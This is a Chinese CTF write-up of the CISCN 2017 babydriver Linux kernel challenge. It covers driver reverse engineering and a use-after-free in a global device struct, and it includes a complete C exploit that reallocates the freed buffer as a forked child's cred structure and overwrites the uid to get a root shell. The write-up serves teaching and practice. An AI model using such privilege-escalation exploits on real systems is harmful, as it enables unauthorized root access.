-
-
[原创]Linux Kernel Pwn_2_Kernel UAF
-
2020-10-3 11:16 5293
-
Linux Kernel pwn(2)——Kernel UAF
基于 CISCN 2017 babyfriver
前期准备
提取.ko文件
解压出来并没有我们想要的驱动文件,需要我们手动提取。
启动脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #!/bin/sh mount - t proc none / proc mount - t sysfs none / sys mount - t devtmpfs devtmpfs / dev chown root:root flag chmod 400 flag exec 0 < / dev / console exec 1 > / dev / console exec 2 > / dev / console insmod / lib / modules / 4.4 . 72 / babydriver.ko chmod 777 / dev / babydev echo - e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount / proc umount / sys poweroff - d 0 - f |
可以看到.ko文件在/lib/modules/4.4.72/babydriver.ko
一开始cpio解压出来都是乱码,然后file了一下,发现他是个gz压缩的文件orz。。。。
提取vmlinux
注意,本题没有直接给vmlinux,所以我们需要手动提取:./extract-vmlinux ./bzImage > vmlinux
extract-vmlinux代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 | #!/bin/sh # SPDX-License-Identifier: GPL-2.0-only # ---------------------------------------------------------------------- # extract-vmlinux - Extract uncompressed vmlinux from a kernel image # # Inspired from extract-ikconfig # (c) 2009,2010 Dick Streefland <dick@streefland.net> # # (c) 2011 Corentin Chary <corentin.chary@gmail.com> # # ---------------------------------------------------------------------- check_vmlinux() { # Use readelf to check if it's a valid ELF # TODO: find a better to way to check that it's really vmlinux # and not just an elf readelf - h $ 1 > / dev / null 2 >& 1 || return 1 cat $ 1 exit 0 } try_decompress() { # The obscure use of the "tr" filter is to work around older versions of # "grep" that report the byte offset of the line instead of the pattern. # Try to find the header ($1) and decompress from here for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep - abo "^$2" ` do pos = ${pos % % : * } tail - c + $pos "$img" | $ 3 > $tmp 2 > / dev / null check_vmlinux $tmp done } # Check invocation: me = ${ 0 ##*/} img = $ 1 if [ $ # -ne 1 -o ! -s "$img" ] then echo "Usage: $me <kernel-image>" >& 2 exit 2 fi # Prepare temp files: tmp = $(mktemp / tmp / vmlinux - XXX) trap "rm -f $tmp" 0 # That didn't work, so retry after decompression. try_decompress '\037\213\010' xy gunzip try_decompress '\3757zXZ\000' abcde unxz try_decompress 'BZh' xy bunzip2 try_decompress '\135\0\0\0' xxx unlzma try_decompress '\211\114\132' xy 'lzop -d' try_decompress '\002!L\030' xxx 'lz4 -d' try_decompress '(\265/\375' xxx unzstd # Finally check for uncompressed images or objects: check_vmlinux $img # Bail out: echo "$me: Cannot find vmlinux." >& 2 |
驱动逆向
首先,调用alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev")
让内核分配一个尚未使用的主设备号。
其函数原型如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | int alloc_chrdev_region(dev_t * dev, unsigned baseminor, unsigned count, const char * name) / * dev :alloc_chrdev_region函数向内核申请下来的设备号 baseminor :次设备号的起始 count: 申请次设备号的个数 name :执行 cat / proc / devices显示的名称 * / { struct char_device_struct * cd; cd = __register_chrdev_region( 0 , baseminor, count, name); if (IS_ERR(cd)) return PTR_ERR(cd); * dev = MKDEV(cd - >major, cd - >baseminor); return 0 ; } |
此时申请好了设备号。
然后调用:cdev_init(&cdev_0, &fops);
来将字符设备对应的cdev结构体与file_operations对应起来。
其中cdev结构体如下:https://elixir.bootlin.com/linux/latest/source/include/linux/cdev.h
1 2 3 4 5 6 7 8 | struct cdev { struct kobject kobj; / / 每个cdev都是一个kobject struct module * owner; / / 指向实现驱动的模块 const struct file_operations * ops; / / 操作这个字符文件的方法 struct list_head list ; / / 与 cdev 对应的字符设备文件的 inode - >i_devices 的链表头 dev_t dev; / / 起始设备编号 unsigned int count; / / 设备范围号大小 } __randomize_layout; |
后面调用v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev");
创建一个设备,并注册它到sysfs中。
1 2 3 4 5 6 7 8 9 | device_create | + - - kzalloc struct device | + - - - device_register | + - - - - - device_initialize | + - - - - - device_add |
babyopen
1 2 3 4 5 6 7 8 9 10 11 | int __fastcall babyopen(inode * inode, file * filp) { __int64 v2; / / rdx __int64 v3; / / rdx _fentry__(inode, filp, v2); babydev_struct.device_buf = (char * )kmem_cache_alloc_trace(kmalloc_caches[ 6 ], 0x24000C0LL , 0x40LL ); babydev_struct.device_buf_len = 0x40LL ; printk( "device open\n" , 0x24000C0LL , v3); return 0 ; } |
整体来说就是开了一个0x40的空间,然后记录他的起始地址在babydev_struct.device_buf
,大小在:babydev_struct.device_buf_len
babyrelease(调用close的时候会调用这个)
release会把开的空间放掉
babywrite和babywrite
就是利用copy from user来写和读
babyioctl
首先检查command是不是0x10001.
- 如果是:
释放之前的空间,然后利用kmalloc申请一个新的,再设置size
- 如果不是:
输出提示语句然后返回。
漏洞分析
通过init脚本,我们可以发现——flag文件在root底下。但是如果我们直接登录的话默认是ctf用户,所以目标就是完成提权。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #!/bin/sh mount - t proc none / proc mount - t sysfs none / sys mount - t devtmpfs devtmpfs / dev chown root:root flag chmod 400 flag exec 0 < / dev / console exec 1 > / dev / console exec 2 > / dev / console insmod / lib / modules / 4.4 . 72 / babydriver.ko chmod 777 / dev / babydev echo - e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount / proc umount / sys poweroff - d 0 - f |
1 2 3 | / $ ls - a root ls: can 't open ' root': Permission denied / $ |
程序的漏洞点在于,babydev_struct
是一个全局且唯一的结构体,如果我们两次打开他,会造成第二次的指针覆盖上去,但是如果我们free掉第一次的,通过close(fd1),那么此时实际kfree的是第二次申请的空间,但是第二次的指针仍然指向他,且fd2没有被close,这就达到了UAF。更加具体的,我们知道一个进程的权限是cred结构体维持的,如果我们恰好能通过ioctl修改这一块被UAF的空间的大小为cred结构体的大小。那么,如果我们fork一个新进程,就会重新把这一块处于free状态并且大小刚好的空间申请出来,然后我们再通过第二次申请的指针修改cred结构体中的gid,uid为0,达到提权的目的即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; / * number of processes subscribed * / void * put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; / * real UID of the task * / kgid_t gid; / * real GID of the task * / kuid_t suid; / * saved UID of the task * / kgid_t sgid; / * saved GID of the task * / kuid_t euid; / * effective UID of the task * / kgid_t egid; / * effective GID of the task * / kuid_t fsuid; / * UID for VFS ops * / kgid_t fsgid; / * GID for VFS ops * / unsigned securebits; / * SUID - less security management * / kernel_cap_t cap_inheritable; / * caps our children can inherit * / kernel_cap_t cap_permitted; / * caps we're permitted * / kernel_cap_t cap_effective; / * caps we can actually use * / kernel_cap_t cap_bset; / * capability bounding set * / kernel_cap_t cap_ambient; / * Ambient capability set * / #ifdef CONFIG_KEYS unsigned char jit_keyring; / * default keyring to attach requested / * keys to * / struct key __rcu * session_keyring; / * keyring inherited over fork * / struct key * process_keyring; / * keyring private to this process * / struct key * thread_keyring; / * keyring private to this thread * / struct key * request_key_auth; / * assumed request_key authority * / #endif #ifdef CONFIG_SECURITY void * security; / * subjective LSM security * / #endif struct user_struct * user; / * real user ID subscription * / struct user_namespace * user_ns; / * user_ns the caps and keyrings are relative to. * / struct group_info * group_info; / * supplementary groups for euid / fsgid * / struct rcu_head rcu; / * RCU deletion hook * / } __randomize_layout; |
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int main(){ char cred[ 0xa8 ] = { 0 }; int fd1,fd2; int new_process; fd1 = open ( "dev/babydev" ,O_RDWR); fd2 = open ( "dev/babydev" ,O_RDWR); / / 打开两次 ioctl(fd1, 0x10001 , 0xa8 ); / / 改大小为cred结构体的大小 close(fd1); printf( "[*]start to pwn.\n" ); new_process = fork(); if (new_process< 0 ){ puts( "fork error" ); exit( - 1 ); } else if (new_process = = 0 ){ / / 此时进入子进程 write(fd2,cred, 28 ); / / 此时我们的uaf指针指向的区域被当作了cred结构体使用,调用write来写 28 个 0 造成uid = gid = 0 if (getuid() = = 0 ){ printf( "[*]success! welcome root, ScUpax0s.\n" ); system( "/bin/sh" ); return 0 ; / / 子进程返回 } } else { printf( "waiting my child.... :)\n" ); wait(NULL); / / 父进程等待自己的子进程 } close(fd2); return 0 ; } |
调试追踪
- 在babyopen断下来,看到启动后babydev_struct在内核中的位置是:
1 2 | 0xffffffffc00024d0 0xffffffffc00024d8 |
- 第一次open时申请的如下:
- 第二次open结束时申请如下:此时发生了指针的覆盖
1 2 | babydev_struct.device_buf = 0xffff880000b66d80 babydev_struct.device_buf_len = 0x40 |
- 接下来调用ioctl改申请的大小为cred结构体的大小:
可以看到在ioctl运行结束时,babydev_struct.device_buf_len已经变成了0xa8
- 当我们close(fd1)时触发了babyrelease:
由于指针被第二次申请的覆盖了,实际上close(fd1)时是free的第二次申请的chunk(此时大小已经是0xa8)
- 进入babywrite中,此时fork成功。babydev_struct.device_buf存储的地址已经被当作cred结构体使用
0x3e8就是1000
- babywrite中调用copy_from_user完毕后,提权结束
效果如下:
至此,完成了Kernel UAF的提权 : ) PWN!!!
参考
https://blog.csdn.net/weixin_42314225/article/details/81112217
https://blog.csdn.net/zhoujiaxq/article/details/7646013
https://www.cnblogs.com/king-77024128/articles/2684317.html
https://bbs.pediy.com/thread-261728.htm
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。